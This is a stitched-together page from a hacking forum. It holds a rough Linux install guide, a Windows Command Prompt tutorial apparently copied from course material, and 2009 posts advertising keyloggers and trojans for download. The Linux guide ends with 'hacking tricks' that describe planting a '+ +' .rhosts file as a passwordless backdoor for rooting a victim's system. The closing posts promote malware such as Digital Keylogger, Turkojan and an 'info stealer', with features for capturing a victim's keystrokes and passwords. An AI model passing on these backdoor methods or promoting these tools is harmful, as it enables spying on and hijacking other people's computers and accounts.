really cheap (like me :-) you could try and download it, i have gotten it
to work before but it's really not worth the wait, i spent a total download
time of about 3 days to download all the files i wanted, and if one of the
files dosn't work, well you're pretty much fucked. Whatever you decide to
do, weather it's purchasing a copy from me or from redhat.com, or being
cheap :-) and downloading it, you should read the linux documentation
project especially the installation part, it will save you hours of worry.
I will touch down very briefly on what you have to do to install linux, but
not nearly enough for you to understand the installation. Many people will
tell you not to buy RedHat products because they're full of bugs, this is
true, and I couldn't agree more, but the bugs are present if you're trying
to hack teh box, so in this case just get RedHat Linux, since it's by far
the most user friendly and the easiest to install. On the other hand if you
are intending to run a sophisticated webserver do NOT get redhat, get
something like slackware, or debian linux.
If you are planning to use linux to access the net etc... you will
need to read the FAQ on compatability at http://www.redhat.com, i currently
don't know of any distribution of linux that supports winmodem or any other
type of modem that uses windows software to speed it up, these modems are
generally those yukky U.S robotics modems.
From now on I'm assuming you either purchased RedHat linux from me
or from RedHat. O.K lets get started, you will need to partition your
harddrive, to do this goto dos and type in fdisk choose no. 4 to view current
partitions. If you have one large partition that fills your whole harddrive
just reserved for windows then once again you're fucked. You need to back up
all your shit, before performing the steps below. Once everything is backed
up go to dos yet again and type 8in fdisk, now you need to delete your
current partition and set a new primary partition the primary partition
should not fill your whole harddrive, leave as much space as you want
unpartitioned, this unpartitioned space is what you're going to be putting
linux on. So now thats done restore your old windows shit and make sure
everything is working nice and dandy. Now pop in your redhat cd in your
cd-rom drive, and reboot your system. Follow the instructions until you
get to a screen that asks if you wish to use fdisk or disk druid to partition
your harddrive, just choose disk druid, now you need to set up a native linux
partition i recommdn 500 megs, but if you wanna be fancy put about 800 megs.
Now after you have assighned a native linux partition and labeled it / Then
you need to assighn swap space, assighn as much as you see fit mine is about
55 megs. It is also a good idea to label your dos partition i label mine
/dos this is so i can access files in my dos partition while using linux.
Once that is done click on OK and save the partition tables, when you get to
the place where you choose what to install. If you have a partition thats
more than 600 MB then choose the install everything option at the bottom of
the list, if your partition is below 600 MB, then choose everything on the
list except the install everything option. If by some chance you just want
a very basic setup, this is what i used to run, just choose x-windows, DNS
Nameserver, Dial-UP workstation,c++ development, and c development. This
will give you everything youneed to compile programs in ,linux, connect to
your ISP, run x-windows etc....
X-Windows is a graphical interface for linux it's very very nice
it's kinda like windows 95 but it dosn't suck as much, by the way I will be
refeering to windows 95 as winblows, for obvious reasons :-).
Once everything is installed, it will tr to sonfigure x-windows for
you, this is where it actually helps if you know every little chip in your
system, if you don't well tehn just guess, but whatever you do don't install
Metro-X, just install XFree86 x-server it's better, well after all that shit
you will need to install LILO, LILO is a boot manager it allows you to boot
into dos, linux and whatever other O/S's you may have lying around in yuor
system, once all that is set up, you will be asked if you wish to install a
printer or not, figure that part out yourself, it's pretty straight forward,
so I'm not gonna waste my time. I wouldn't recommend configuring a LAN
unless you know your shit about linux.
So once setup is finished , your system will reboot. WOA you just
installed linux and you're still alive it's amazing isn't it. So now you
should be faced with a prompt that says LILO Boot:
you can now press tab for options this will show which operating systems you
can boot into. You should ahve the following two choices dos and linux, now
since this text file covers linux you would want to boot into linux so at
the LILO prompt type in linux or simply press return, since linux is your
default operating system. Now you should see a bunch of services starting,
this indicates that linux is loading.
When you reach the login prompt type in root and use the password
you specefied for the setup program earlier. Finally you have redhat linux
installed on your system, and hopefully you're still alive, you're still
with me RIGHT!!!!! O.K so you have logged in as root, first thing you want
to do us shadow your password file I always do thsi because then at least i
know a little clueless newbie could never get in my system, to do this type
in pwconv. Well thats all you have to do, to me it's a shock that there are
so many unshadowed systems on the net when it's so easy to shadow the
password file, but i guess ignorance is the satan of all god's people. Well
i guess you're like dying to show your friends how k-rad and elite you are,
so I guess well better geton to setting up linux to use the net, in other
words to dial out to your ISP. O.K heres how you do it. When you're at the
prompt type in startx this will start up x-windows. Once x-windows is
started, you should see an interface much like windows 95, to the left
should be a box named control panel, in the center you should see a window
named local-host, this is simply the rootshell just like the one you get
when you login. Now to get the modem set up, in the control panel there
should be a lot of small icons, goto the 6th one down (modem configuration)
choose what com port your modem is on, if you dont know choose SOM 1 it
seems to be the default in most computers in gateways i do believe it's
COM 2, once thats done, goto the 5th icon down in the control panel
(network configuration)and click it, now choose interfaces then goto add,
choose ppp as your interface type. Put in your ISP's phone number, and
your login and password. Then choose customize, click on networking and
click on activate interface at boot time, once this is done goto done and
choose to save the configuration. Well thats it simply reboot by typing in
reboot and listen to your sweet modem's music.
Now that you're connected to your ISP let's go do some surfing, once
you're in x-windows, goto start/applications and click on Netscape Navigator.
Visit http://www.rootshell.com and run a search for scan, once you're
confronted with the search results, go down and find the file named
xenolith.tgz download that file. This is a neat little scanner that scans
sites for volunerabilities, and I'm basiacly gonna give you a lesson in
uncompressing files in linux. Once the file is downloaded goto the dir in
which it resides. Since it's a .tgz file we would uncompress it using the
following method. Type in gunzip -d xenolith.tgz this will give you
xenolith.tar then type in gzip xenolith.tgz this gives you xenolith.tar.gz
then type in zcat xenolith.tar.gz | tar xvf - . This will give you a dir
called xenolith just cd xenolith and read the README files for installation
instructions. I just thought i would include something on uncompressing
files because many people ask me for help on the topic.
Well I'm getting to the place where I have to think about what i
want to put in this text file, well here's something I will include, a
section with some useful command, so here goes. To shutdown your computer
type in shutdown -h now (your message) to reboot simply type reboot. To
compile use gcc filename.c -o filename. To talk to a user type in write
username then on the next line write your message, if you don't want people
to send you messages type in mesg n. Well i sure hop this guide helped you
through getting linux installed if you want to read books on linux and
you're cheap like me goto http://www.mcp.com and sighn up for their personal
bookshelf, and get reading tons of books for free, it's a hackers dream and
all time paradise.
Now just as you thought it was over I'm gonna show you a few hacking
tricks from linux not really how to hack just some useful commands, so here
goes. To telnet to a site type in telnet www.victim.com ,to telnet toa
site on a specific port type in telnet www.victim.com portnumbe. Let's say
i wanted to telnet to port 25 i would type in telnet www.victim.com 25 .
To FTP to a machine type in ftp www.victim.com. To rlogin to a machine,
many of you proably dont know what the hell im talking about so let me
explain. If you place a file called .rhosts in someones home directory and
that file has two plusses like this + + in it you can use the rlogin command
to log into the system using that account without a password. Ring a bell
in your mind? filling with fresh ideas. I use this method whenever I geta
shell account, it assures me that if they by any chance change the passowrd
I can always rlogin into the system assuming that the account has a .rhosts
file in it and the file contains + + then you're in good shape. Assume the
username of the account is lamer. So inorder to rlogin into lamer's account
we would do the follwoing. Type in rlogin www.victim.com -l lamer . This
will telnet us directly into lamer's account where we can start rooting the
system.
Well my hand hurts from typing too much, so I'm gonna stop typing,
please if you have any questions, suggestions, or comments, e-mail them to
ameister@vol.com. Also i nee some suggestions on what to write text files
about so please e-mail me, it would be greatly appreciated. Me and some
friends are going to be making a magazine with lots of text files and other
interesting hacking material, if you would like a copy e-mail me for more
info, the price should be no mroe than $4 Shipping & Handling included.

DISCLAIMER:

This shit is for educational purposes only, I'm not responisble for any
trouble you get in using this info.

VISIT MY WEBPAGE FOR MY OTHER TEXT FILEZ AND USEFUL UTILITIES ETC...

HACKERSWEB IS BACK

http://www.vol.com/~ameister

Using Cmd

Canakar — Wed, 18 Feb 2009 23:32:48 CST

Cmd Commands guide written by Canakar

What is Command Prompt?
_____________________________
------------------------

The Command Prompt program allows you to work in an environment that looks more like a traditional operating system as opposed to the icon based Windows environment. In Command Prompt, you will use your keyboard. You won't use your mouse at all. Command Prompt works at a lower level than Windows. This means that you will have more control over the machine. The disadvantage is that it is less user-friendly.

You will need the command prompt in COS 126 to compile and execute your Java programs. Learning the Command Prompt also provides a gradual transition to Unix and Linux systems, which are prevalent in science, engineering, and industry.

To launch Command Prompt select Start -> Run and type cmd in the box.

The Command Prompt shows up as a black terminal window. The command prompt should look something like:

C:\>

This is where you type commands. The boldface type below (that follows the command prompt) is what you should type as you work through this tutorial. Windows does not care if you use upper or lower case. That means that command cd is the same as CD. It also means that, in Windows, file HelloWorld.java is the same as helloworld.java. This is NOT true in the system to which you will be submitting your files. Be very careful!!!

MS-Dos Commands.
_____________________________________________
ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
ASSOC Change file extension associations
ASSOCIAT One step file association
AT Schedule a command to run at a later time
ATTRIB Change file attributes
_____________________________________________
BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info
_____________________________________________
CACLS Change file permissions
CALL Call one batch program from another
CD Change Directory - move to a specific Folder
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
CLS Clear the screen
CLUSTER Windows Clustering
CMD Start a new CMD shell
COLOR Change colors of the CMD window
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS.
COPY Copy one or more files to another location
CSVDE Import or Export Active Directory data
_____________________________________________
DATE Display or set the date
Dcomcnfg DCOM Configuration Utility
DEFRAG Defragment hard drive
DEL Delete one or more files
DELPROF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
DIR Display a list of files and folders
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create macros
DSADD Add user (computer, group..) to active directory
DSQUERY List items in active directory
DSMOD Modify user (computer, group..) in active directory
________________________________________________
ECHO Display message on screen
ENDLOCAL End localisation of environment changes in a batch file
ERASE Delete one or more files
EXIT Quit the CMD shell
EXPAND Uncompress files
EXTRACT Uncompress CAB files
__________________________________________
FC Compare two files
FDISK Disk Format and partition
FIND Search for a text string in a file
FINDSTR Search for strings in files
FOR Conditionally perform a command several times
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol
FTYPE Display or modify file types used in file extension associations
______________________________________________
GLOBAL Display membership of global groups
GOTO Direct a batch program to jump to a labelled line
______________________________________________
HELP Online Help
HFNETCHK Network Security Hotfix Checker
______________________________________________
IF Conditionally perform a command
IFMEMBER Is the current user in an NT Workgroup
IPCONFIG Configure IP
______________________________________________
KILL Remove a program from memory
______________________________________________
LABEL Edit a disk label
LOCAL Display membership of local groups
LOGEVENT Write text to the NT event viewer.
LOGOFF Log a user off
LOGTIME Log the date and time in a file
______________________________________________
MAPISEND Send email from the command line
MEM Display memory usage
MD Create new folders
MODE Configure a system device
MORE Display output, one screen at a time
MOUNTVOL Manage a volume mount point
MOVE Move files from one folder to another
MOVEUSER Move a user from one domain to another
MSG Send a message
MSIEXEC Microsoft Windows Installer
MSINFO Windows NT diagnostics
MSTSC Terminal Server Connection (Remote Desktop Protocol)
MUNGE Find and Replace text within file(s)
MV Copy in-use files
________________________________________________
NET Manage network resources
NETDOM Domain Manager
NETSH Configure network protocols
NETSVC Command-line Service Controller
NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
NETSTAT Display networking statistics (TCP/IP)
NOW Display the current Date and Time
NSLOOKUP Name server lookup
NTBACKUP Backup folders to tape
NTRIGHTS Edit user account rights
________________________________________________
PATH Display or set a search path for executable files
PATHPING Trace route plus network latency and packet loss
PAUSE Suspend processing of a batch file and display a message
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
POPD Restore the previous value of the current directory saved by PUSHD
PORTQRY Display the status of ports and services
PRINT Print a text file
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
PROMPT Change the command prompt
PsExec Execute process remotely
PsFile Show files opened remotely
PsGetSid Display the SID of a computer or a user
PsInfo List information about a system
PsKill Kill processes by name or process ID
PsList List detailed information about processes
PsLoggedOn Who's logged on (locally or via resource sharing)
PsLogList Event log records
PsPasswd Change account password
PsService View and control services
PsShutdown Shutdown or reboot a computer
PsSuspend Suspend processes
PUSHD Save and then change the current directory
_______________________________________________
QGREP Search file(s) for lines that match a given pattern.
_______________________________________________
RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk.
REG Read, Set or Delete registry keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
REM Record comments (remarks) in a batch file
REN Rename a file or files.
REPLACE Replace or update one file with another
RD Delete folder(s)
RDISK Create a Recovery Disk
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
ROUTE Manipulate network routing tables
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)
__________________________________________________ _
SC Service Control
SCHTASKS Create or Edit Scheduled Tasks
SCLIST Display NT Services
ScriptIt Control GUI applications
SET Display, set, or remove environment variables
SETLOCAL Begin localisation of environment changes in a batch file
SETX Set environment variables permanently
SHARE List or edit a file share or print share
SHIFT Shift the position of replaceable parameters in a batch file
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SOON Schedule a command to run in the near future
SORT Sort input
START Start a separate window to run a specified program or command
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration
____________________________________________
TASKLIST List running applications and services
TIME Display or set the system time
TIMEOUT Delay processing of a batch file
TITLE Set the window title for a CMD.EXE session
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
TYPE Display the contents of a text file
____________________________________________
USRSTAT List domain usernames and last login
____________________________________________
VER Display version information
VERIFY Verify that files have been saved
VOL Display a disk label
____________________________________________
WHERE Locate and display files in a directory tree
WHOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WMIC WMI Commands
____________________________________________
XCACLS Change file permissions
XCOPY Copy files and folders

Command Prompt Basics
_________________________
------------------------

When you are working in Command Prompt, there are a couple of things that usually work:

Many of the commands will have extra options available, known as switches. They are added to the command by entering a "/" then a letter, number or word. These can change how the tool works or handles the information. A common switch would be the help command, which will also give you information on the other switches available.

<command> /?
This would usually brings up information and about the command and the available switches. If it doesn't work, try "-?" after the command instead.

<command> > <filename>.txt
This will send the results of the command to a text file instead of the screen. You can include switches as well. This is particularly useful if you are looking at the help information for a command. Look at this example command:

xcopy /? >c:\xcopy.txt

This writes the content of the help command to a file called xcopy.txt located in the root of the C:\ drive.

CLS
If you have lots of text in your Command Prompt window, this command will clear it.

Working with Files and Directories
__________________________
----------------------

You can also use Command Prompt commands to organize files into a directory hierarchy. These commands are equivalent to corresponding commands that you access via the Windows point-and-click interface. It is useful to be familiar with both interfaces for managing files.

* dir: To view the contents of a directory, type dir. This command will list all the files and directories within the current directory. It is analogous to clicking on a Windows folder to see what's inside.

C:\> dir
Volume in drive C has no label.
Volume Serial Number is C8C7-BDCD

Directory of C:\

10/26/2004 01:36 PM 0 AUTOEXEC.BAT
10/26/2004 01:36 PM 0 CONFIG.SYS
02/10/2005 01:36 PM 126 HelloWorld.java
12/09/2004 12:11 AM DIR Documents and Settings
02/10/2005 08:59 PM DIR introcs
11/02/2004 08:31 PM DIR j2sdk1.4.2_06
12/29/2004 07:15 PM DIR Program Files
01/13/2005 07:33 AM DIR WINDOWS
3 File(s) 126 bytes
5 Dir(s) 32,551,940,096 bytes free

There are 7 items in this directory. Some of them are files, like HelloWorld.java. Others are directories, like introcs.

* cd: It is frequently useful to know in which directory you are currently working. In order to find out, type cd at the command prompt.

C:\> cd
C:\

To change directories, use the cd command with the name of a directory.

C:\> cd introcs

Now, the command prompt will be:

C:\introcs>

To see what is in this directory type:

C:\introcs> dir
Volume in drive C has no label.
Volume Serial Number is C8C7-BDCD

Directory of C:\introcs

02/10/2005 08:59 PM DIR .
02/10/2005 08:59 PM DIR ..
02/03/2005 11:53 PM 126 HelloWorld.java
01/17/2005 01:16 AM 256 readme.txt
2 File(s) 382 bytes
2 Dir(s)

To return to the previous directory, use the cd command, but this time followed by a space and two periods.

C:\introcs> cd ..
C:\>

* mkdir: To create a new directory, use the command mkdir. The following command creates a directory named hello, which you can use to to store all of your files associated with the Hello World assignment.

C:\introcs> mkdir hello

To see that it actually worked, use the dir command.

C:\introcs> dir
Volume in drive C has no label.
Volume Serial Number is C8C7-BDCD

Directory of C:\introcs

02/10/2005 08:59 PM DIR .
02/10/2005 08:59 PM DIR ..
02/11/2005 02:53 PM DIR hello
02/03/2005 11:53 PM 126 HelloWorld.java
01/17/2005 01:16 AM 256 readme.txt
2 File(s) 382 bytes
3 Dir(s)

* move: Now, move the two files HelloWorld.java and readme.txt into the hello directory using the move command.

C:\introcs> move HelloWorld.java hello
C:\introcs> move readme.txt hello
C:\introcs> dir
Volume in drive C has no label.
Volume Serial Number is C8C7-BDCD

Directory of C:\introcs

02/10/2005 08:59 PM DIR .
02/10/2005 08:59 PM DIR ..
02/11/2005 02:53 PM DIR hello
0 File(s) 0 bytes
3 Dir(s)

The two files are no longer visible from the current directory.

To access the two files, change directories with the cd command. Then use the dir command to see what is in this new directory.

C:\introcs> cd hello
C:\introcs\hello> dir
Volume in drive C has no label.
Volume Serial Number is C8C7-BDCD

Directory of C:\introcs\hello

02/10/2005 08:59 PM DIR .
02/10/2005 08:59 PM DIR ..
02/03/2005 11:53 PM 126 HelloWorld.java
01/17/2005 01:16 AM 256 readme.txt
2 File(s) 382 bytes
2 Dir(s)

You can also use move to rename a file. Simply specify a new filename instead of a directory name. Suppose you accidentally messed up the upper and lower case and had saved HelloWorld.java as helloworld.java. Use two move commands to fix it.

C:\introcs\hello> dir
Volume in drive C has no label.
Volume Serial Number is C8C7-BDCD

Directory of C:\introcs\hello

02/10/2005 08:59 PM DIR .
02/10/2005 08:59 PM DIR ..
02/03/2005 11:53 PM 126 helloworld.java
01/17/2005 01:16 AM 256 readme.txt
2 File(s) 382 bytes
2 Dir(s)

C:\introcs\hello> move helloworld.java temp.java
C:\introcs\hello> move temp.java HelloWorld.java
C:\introcs\hello> dir
Volume in drive C has no label.
Volume Serial Number is C8C7-BDCD

Directory of C:\introcs\hello

02/10/2005 08:59 PM DIR .
02/10/2005 08:59 PM DIR ..
02/03/2005 11:53 PM 126 HelloWorld.java
01/17/2005 01:16 AM 256 readme.txt
2 File(s) 382 bytes
2 Dir(s)

It takes two moves because Windows won't let you move to an already existing filename and, to Windows, helloworld.java is the same as HelloWorld.java.

* copy: To make a copy of a file, use the copy command. The following command creates a backup copy of our HelloWorld.java program. This is especially useful when you modify a working program, but might want to revert back to the original version if your modifications don't succeed.

C:\introcs\hello> copy HelloWorld.java HelloWorld.bak
C:\introcs\hello> dir
Volume in drive C has no label.
Volume Serial Number is C8C7-BDCD

Directory of C:\introcs\hello

02/10/2005 08:59 PM DIR .
02/10/2005 08:59 PM DIR ..
02/03/2005 11:53 PM 126 HelloWorld.java
01/17/2005 01:16 AM 256 readme.txt
2 File(s) 382 bytes
3 Dir(s)

* del: Subsequently, you might want to clean up useless files. The del command deletes a file.

C:\introcs\hello> del HelloWorld.bak
C:\introcs\hello> dir
Volume in drive C has no label.
Volume Serial Number is C8C7-BDCD

Directory of C:\introcs

02/10/2005 08:59 PM DIR .
02/10/2005 08:59 PM DIR ..
02/03/2005 11:53 PM 126 HelloWorld.java
01/17/2005 01:16 AM 256 readme.txt
2 File(s) 382 bytes
3 Dir(s)

WARNING: When you revise a file in jEdit, the jEdit program will automatically save a backup copy of your original file in the same directory. The name of the backup file will be the name of the original file with a ~ at the end. When you submit your program be careful to submit HelloWorld.java and not HelloWorld.java~ which is an old version of the file and has the wrong name.
* wildcards: You can also apply the copy, del, and move commands to several files (or directories) at once. To create a new directory called loops, and copy all of the files in the hello directory C:\introcs\hello\ into this newly created directory type:

C:\introcs> mkdir loops
C:\introcs> copy c:\introcs\hello\* loops

Here the * matches all files in the C:\introcs\hello directory. It copies them to your newly created loops directory.

Redirection
____________
---------

Two important abstractions in Command Prompt are standard input and standard output. By default standard input is your keyboard, and standard output is your computer screen. For example, in Assignment 1, we write a program CenterofMass.java that reads input using StdIn.java and writes output using System.out.println(). To run our program, the user types the command "java CenterofMass" and enters double type values in triplets: xposition yposition mass from the keyboard. The results appear in the terminal window.

C:\introcs\loops> java CenterofMass
0 0 10
1 1 10
0.5 0.5 20

* Redirecting standard input. As an alternative, we can create a file that consists of the same six input numbers. Using a text editor (like jEdit), create a file named input.txt, and type in the six numbers. After saving the file in the loops directory, type the following command to verify that you entered the integers correctly:

C:\introcs\loops> more input.txt
0 0 10
1 1 10

Then to read the integers from the file instead of the keyboard, we use the redirection symbol "<".

C:\introcs\loops> java CenterofMass < input.txt
0.5 0.5 20

This produces exactly the same result as if the user had typed the numbers, except that the user has no opportunity to enter numbers from the keyboard. This is especially useful for two reasons. First, if there are lots of input values (there are over 700 inputs for Assignment 2) it would be tedious to retype them in each time we run our program. Second, it allows programs to be automated, without waiting for user interaction. This means that your grader can process your homework programs without typing in the input values by hand each time.
* Redirecting standard output. Similarly it is possible to redirect the output to a file instead of to the screen. Continuing with the same example, if we want to save the output permanently, we can use the output redirection symbol '>'.

C:\introcs\loops> java CenterofMass > output.txt
0 0 10
1 1 10

The user still types in the input values from the keyboard, but instead of sending the output to the screen, it is sent to the file named output.txt. Note that all printf output is sent to the file, even the statement that tells the user what to do. Be careful, if the file output.txt already exists, it will be overwritten. (To append use '>>' instead.)

phoenix.Princeton.EDU% more output.txt

* Redirecting standard input and standard output. It is often useful to use both redirection operations simultaneously.

C:\introcs\loops> java CenterofMass < input.txt > output2.txt

After executing this command, no output appears on the screen, but the file output2.txt now contains exactly the same data as output.txt above.

Piping
_______
-----

Another useful abstraction is piping. Piping is when the output of one program is used as the input of another program. For example, suppose we want to view the output of a program, but there is so much that it whizzes by on the screen too fast to read. (The program RandInts.java prints out a bunch of random integers.) One possible way to accomplish this is to type the following two commands.

C:\introcs> java RandInts > temp.txt
C:\introcs> more < temp.txt

Note that more will work by redirecting the file temp.txt to standard input (as is done here) or by simply using the filename (as is done at the beginning of the document). Instead, we could do this in one line using the pipe symbol '|'

C:\introcs> java RandInts | more

This is often useful when debugging a program, especially if your program goes into an infinite loop and you want to see the first few values that it prints

Keylogger pack

Canakar — Wed, 18 Feb 2009 23:31:42 CST

Keyloggers Pack

-Activity Keylogger v1.0
-Advanced Invisible Keylogger 1.5 Full
-Aplus
-Barok 1.0
-Chota
-Computer Spy
-Curiosity
-CYBERSHOK 1.0 Private
-DK2Full
-ehks 2.2
-Elite Keylogger 1.0
-EyeSpy
-Fearless Key Spy 2.0
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-KeyLog 2.5
-Keylogger
-KGB KeySpy 2.0 Private Xmas Edition
-Metakodix Stealth Keylogger 1.1.0 Cracked
-MSGate 0.1
-Phantom 2
-Phoenix
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-Project Satan 1.1
-RemoteLogger v1.0
-SC-KeyLog 2
-SKL 0.1
-skl0g
-Spy
-Spytector 1.3.1
-Tong KeyLogger
-YSK KeyLog

Download:
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Digital Keylogger v2.0

Canakar — Wed, 18 Feb 2009 23:29:30 CST

Digital Keylogger v2.0

Client size : 508 KB
Server Size : 159 KB
Server copy : system32\plm.exe

Server :
Run at Startup .
Doesn't disable the Task Manager .
Captures all pressed Keys .
Icon : Yahoo Messenger .

It doesn't give you the Window's names .

Client :
Get captured Keys from server .
You need the victim's IP .
Very easy to use .
You can close Victim's Y! Messenger to
get his password .

Missing file error ? Copy OCX files in
your system32 folder .

New features :

1) Use Backspace : You select if you want
to see if your victim press Backspace , or
not . If you select Yes , if victim press
Backspace , i\the server will delete a
char from keylog , and if the victim's hold
Backspace , you'll lose all keylog . Else ,
if you select No , you'll don't know when
the victim press Backspace button .

2) Add to Sys Tray : Now you can add the
Client in your system tray . To restore ,
just move mouse over the icon from tray .

Download:
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Turkojan 4.0

Canakar — Wed, 18 Feb 2009 23:28:25 CST

What is Turkojan ?
-----------------------
Turkojan is a remote administration and spying tool for Microsoft Windows operating systems.You can use Turkojan for manage computers,employee monitoring and child monitoring...
Features :
------------Reverse Connection
Remote Desktop(very fast)
Webcam Streaming(very fast)
Audio Streaming
Thumbnail viewerRemote passwords
MSN Sniffer
Remote Shell
Web-Site BlockingChat with server
Send fake messages
Advanced file manager
Zipping files&folders
Find files
Change remote screen resolution
Mouse manager
Information about remote computer
Clipboard manager
IE options
Running Process
Service Manager
Keyboard Manager
Online keylogger
Offline keylogger
Fun Menu
Registry manager
Invisible in Searching Files/Regedit/Msconfig
Small Server (100kb)
http://www.turkojan.com/ Download

Tools

Canakar — Wed, 18 Feb 2009 23:20:05 CST

Need the tools to hack? Find everything here!

Msn Archive:
Msn Grabber
Msn Locker BETA

KeyLogger Archive:
Reh Team Keylogger v1.0
Digital Keylogger v2.0
Keylogger Pack

Trojan Archive:
Turkojan 4.0
Little Info Stealer v2.5
Pro Rat v2.0